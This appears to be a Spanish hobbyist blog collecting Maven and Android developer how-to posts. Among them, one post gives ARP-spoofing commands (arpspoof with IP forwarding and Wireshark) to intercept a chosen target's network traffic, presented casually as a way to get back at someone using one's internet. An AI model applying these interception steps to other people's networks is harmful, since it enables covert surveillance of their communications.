INSUFFICIENT PERMISSIONS FOR DEVICE MAVEN

Cuando instale la nueva versión de maven, me encontré con el problema de que maven no me lanzaba los apk a mi dispositivo móvil. El error que me lanzaba con el comando mvn android:deploy era el siguiente:

Failed to execute goal com.jayway.maven.plugins.android.generation2:android-maven-plugin:3.5.0:deploy (default-cli) on project 3enrayaA: Uninstall of org.ivan failed. insufficient permissions for device

Buscando y buscando por Internet descubrí que el fallo estaba en el ADB (Android Debug Bridge), y que resolverlo era bastante fácil, solo era cuestión de arrancar el adb server con permisos de super usuario.

#adb kill-server
#sudo adb start-server
#adb devices
#adb logcat

Con esto el problema quedo resuelto y todo funciona bastante bien.

Espero haya sido de utilidad.

Saludos


GESTION DE VERSIONES Y REVISIONES DE SOFTWARE

Cuando trabajamos en equipo, conviene tener un repositorio central en en que todo el mundo pueda acceder, ver y modificar el software que se está creando. De tener que hacer estas cosas mediante correos electrónicos, seguramente la cosa acabaría bastante mal..

Por ello los sistemas de gestión de versiones y revisiones nos ayudan a:

  • Tener controlada la versión actual de programa en la que se está trabajando. La versión ayuda a saber en que fase del proyecto se está. Claro esta que debe de haber una documentacion en la que se refleje las mejoras y características de cada versión.
  • Tener copias de seguridad de los documentos y del proyecto.
  • Facilitar el trabajo en equipo, haciendo la lectura y escritura de datos en el servidor de una manera sencilla.
En el siguiente enlace podemos echarle un vistazo a las diferentes herramientas de control de software que tenemos a nuestra disposición.

USANDO MVC (MODEL VIEW CONTROLER) EN ANDROID Y MAVEN

En esta entrada explicare como utilizar MVC con maven, en primer lugar tenemos que tener claro que es el MVC.

No es mas que un modelo que ayuda a estructurar un programa (así es como yo lo veo, si no estas de acuerdo comenta). Esta estructura se divide en:

- Modelo: También llamado lógica del negocio, en esta parte es donde incluiremos el "motor" de nuestro programa.

- Vista: La parte del programa que vemos.

- Controlador: Las interacciones entre la vista y la lógica del negocio, haciendo que el "motor" haga cosas .

Teniendo esto claro, veremos ahora como llevar estas ideas a la realidad. Crearemos un proyecto Java con Maven (ver entrada de creación  de proyectos con maven).

Después de tener el proyecto Java funcionando como nosotros queramos, debemos de unirlo a nuestro proyecto Android, para lo cual deberemos de crearlo de la misma manera que lo habíamos echo con anterioridad.

Una vez creado debemos de unir los dos proyectos. Si todo esto lo estamos realizando en l mismo ordenador la cosa es bastante sencilla. Abrimos el pom.xml de nuestro proyecto (debe de ser el pom de la segunda carpeta, es decir abrimos la carpeta de nuestro proyecto y después abrimos la carpeta que lleva el mismo nombre que no lleva -it al final del nombre). Una vez tenemos el archivo pom.xml abierto buscamos la etiqueta <dependencies> y justo debajo escribimos:

<dependency>
<groupId>org.ivan</groupId>
<artifactId>3_raya</artifactId>
<version>0.1</version>
</dependency>

La versión, groupID, y el artifacrId deben de ser los mismos que los del proyecto Java que hemos creado con anterioridad.

Compilamos y de este modo ya tenemos nuestros dos proyectos ligados.

Espero haya sido de utilidad.

Saludos

HACER MITM (MAN IN THE MIDDLE)

El otro día cursioseando por internet, encontré la forma de hacer MITM, que consiste en hacer que el trafico de otro ordenador pase por el tuyo para asi poder monitorizarlo. La verdad que es algo muy fácil si trabajas en una distro Linux.

Lo primero deberemos de tener instalado en nuestro ordenador los siguientes programas o paquetes.

- Wireshark
- Paquete Dsniff
- Arpspoof

Una vez tenemos esto empezamos con la fiesta, escribimos en consola:

# sudo nano /proc/sys/net/ipv4/ip_forward (cambiamos el cero por un uno)

#sudo wireshark -i [interface]

# sudo arpspoof -i [interface]-t [ip del objetivo] [ip del router]
# sudo arpspoof -i [interface]-t [ip del router] [ip del objetivo]

Nota 1: Las tres ultimas instrucciones debemos de ejecutarlas cada una en un terminal.


Una vez echo esto, ya estaremos monitorizando el trafico de nuestro objetivo. (Muy útil cuando sabemos que nos están robando Internet, es un buen golpe de efecto)


Espero os sea de utilidad

Saludos

INSTALAR PLUGIN MAVEN EN NETBEANS Y EN ECLIPSE

Ya que estamos creando los proyectos con Maven, lo conveniente seria tener un IDE que nos haga la vida algo mas fácil. También puedes aprender a utilizar vi, pero se complica la cosa un poco mas. Manos a la obra pues.

NetBeans:

Para instalar el plugin de Maven en NetBeans debemos de ir al menú Tools|Plugins
Una vez tengamos la ventana Plugins abierta, nos dirigimos a la pestaña Settings y pulsamos el botón Add.




En el nombre ponemos NB Android y en la url ponemos:


 http://nbandroid.org/release72/updates/updates.xml



Una vez añadido el centro de descargas nuevo buscamos el plugin en los plugins disponibles e instalamos los plugins que aparecen en la imagen.



Una vez instalados los plugins ya podremos abrir proyectos creados con Maven.

Eclipse:

En Eclipse tenemos que ir a la pestaña Help | Install New Software, nos aparecera la siguiente pantalla:



Pinchamos en Add y en la localización ponemos la siguiente URL:

http://m2eclipse.sonatype.org/sites/m2e

Marcais el plugin y lo instalais, no es complicado. Una vez tengais este repetimos el proceso y ponemos la URL:

http://m2eclipse.sonatype.org/sites/m2e-extras

Marcais los plugins que e ven en la imagen.


Los instalamos tal y como lo hemos hecho anteriormente y ya tenemos Maven integrado en Eclipse.

Cuando queramos importar un proyecto Maven, vamos a File | Import, y ahi nos debe de dar la opción de importar un proyecto Maven


Espero haya sido de utilidad.

Saludos


CREAR UN SHELL PARA "AUTOMATIZAR PROCESOS"

En esta entrada se explicara la creación de un shell que automatize procesos. La motivacion de este proceso es la creación de proyectos Maven.

A la hora de crear un proyecto en Maven (Android o Java), tenemos que escribir ordenes muy largas y eso con lleva un engorro, por ello lo mas sencillo es crear un archivo .sh

Ejemplo: Queremos crear un .sh para la creación de proyectos maven.

Abrimos un documento de texto plano y escribimos

mvn archetype:generate -DarchetypeArtifactId=android-with-test -DarchetypeGroupId=de.akquinet.android.archetypes -DarchetypeVersion=1.0.9 -DgroupId=org.ivan -Dplatform=8 -Dandroid.sdk.path=/opt/sdk

Una vez echo esto le damos el nombre que queramos y lo guardamos con la extensión .sh. Una vez guardado pinchamos con el botón derecho/Propiedades y en la pestaña de Permisos le damos permisos de lectura y escritura.

Una vez echo esto desde linea de comandos lo ejecutamos escribiendo:

./<nombre del archivo.sh>


Espero haya resultado de utilidad.

Saludos

NUESTRO PRIMER PROYECTO MAVEN

Una vez instalado Maven, nos disponemos a crear nuestro primero proyecto.
Esta herramienta nos permite crear proyectos tanto de Java como de Android. Los tipos de proyecto que yo utilizo son Android with test, y Java with test.

Desde el terminal nos dirigimos a la carpeta donde queremos crear el proyecto. Una vez tengamos claro donde queremos crear el proyecto y que tipo de proyecto queremos escribiremos la instrucción. Voy a hacer el simulacro de crear los dos tipos de proyecto que he mencionado antes como ejemplo.

Java:

#mvn archetype:generate -DarchetypeArtifactId=maven-archetype-quickstart -DgroupId=org.ivan

Cuando introduzcamos este comando nos pedirá el nombre del proyecto (Artifact ID) y la versión (Version ID), se lo damos y ya está. Al finalizar nos aparece la linea Y: pulsamos enter y proyecto creado.

Android:

#mvn archetype:generate -DarchetypeArtifactId=android-with-test -DarchetypeGroupId=de.akquinet.android.archetypes -DarchetypeVersion=1.0.9 -DgroupId=org.ivan -Dplatform=8 -Dandroid.sdk.path=/opt/sdk

Igual que antes nos pedirá el nombre y la versión.

Nota 1: El path del sdk debemos de cambiarlo al nuestro (Evidente). 


Posibles errores:

De vez en cuando, a la hora de ejecutar la instrucción de Android, maven no enlaza bien la ruta del sdk, de ser asi deberemos de introducirlo a mano en el pom.xml. Para ello abrimos la carpeta que nos ha creado maven, después abrimos la carpeta que no tiene la terminacion -it y modificamos el pom. Debemos de buscar la linea que pone:

<sdk>
     <platform>2.2</platform>
</sdk>

y añadiremos <path>/opt/sdk</path>, quedando:


<sdk>
   <path>/opt/sdk</path>
   <platform>2.2</platform>

</sdk>

Lo mas fácil para no tener que teclear o copiar todas estas instrucciones es crear un shell que se ejecute automaticamente y de este modo ahorrar tiempo. Lo veremos en otra entrada.

Espero haya sido de utilidad

Saludos

INSTALANDO MAVEN EN DEBIAN

En primer lugar pedir disculpas por el abandono parcial que tengo del blog, hace mucho tiempo que no publico nuevas entradas.

En esta entrada voy a explicar como instalar Maven de la manera mas sencilla posible. Para los que no saben lo que es Maven es una herramienta de software para la gestión y construcción de proyectos Java.

 Lo primero que debemos de hacer es descargar la version de Maven que necesitemos (¿mejor la ultima no?). Aqui os dejo el enlace.
Nos descargamos la version Source zip (al menos así es como yo lo hago), la descomprimimos y la copiamos a nuestro directorio opt del directorio raíz.

Nota 1: Lo de copiarlo al directorio opt del directorio raíz es una manera de ser ordenados, de este modo si el día de mañana migramos a otro ordenador nos llevamos el directorio opt, modificamos el bash y tan felices.

Nota 2: Para realizar la copia de la carpeta lo debemos de hacer desde linea de comandos con permisos de superusuario ya que de otro modo no deja escribir en el directorio opt.


Una vez tenemos la carpeta en nuestro directorio opt, modificaremos el bash para decirle que maven está en opt y ahí es donde debe de burcarlo.

Escribimos en consola:

#nano ~/.bashrc

Una vez en el archivo bashrc, bajamos hasta el final del documento y añadimos lo siguiente modificando el nombre de la carpeta y la ruta del SDK de ser necesario:

#MVN
export M2_HOME=/opt/apache-maven-3.0.5
export M2=$M2_HOME/bin
export PATH=$M2:$PATH
export JAVA_HOME=/usr/java/jdk1.7.0
export PATH=$JAVA_HOME/bin:$PATH

Una vez echo esto guardamos y salimos del editor (Ctrl+o para guardar y Ctrl+x para salir)

Reiniciamos el bashrc con la instrucción:

#source .bashrc

Y por ultimo hacemos la llamada a maven para ver si ha funcionado:

#mvn --version

Deberia de devolvernos algo asi como:

Apache Maven 3.0.5 (r01de14724cdef164cd33c7c8c2fe155faf9602da; 2013-02-19 14:51:28+0100)
Maven home: /opt/apache-maven-3.0.5
Java version: 1.7.0, vendor: Oracle Corporation
Java home: /usr/java/jdk1.7.0/jre
Default locale: es_ES, platform encoding: UTF-8
OS name: "linux", version: "2.6.32-5-686", arch: "i386", family: "unix"


Nota 3: Todas las instrucciones para cambiar el bashrc debemos hacerlas sin sudo, de hacerlas con sudo cambiaremos el bashrc de sudo.


Espero que os haya sido de utilidad, intentare seguir subiendo cosas interesantes.

Saludos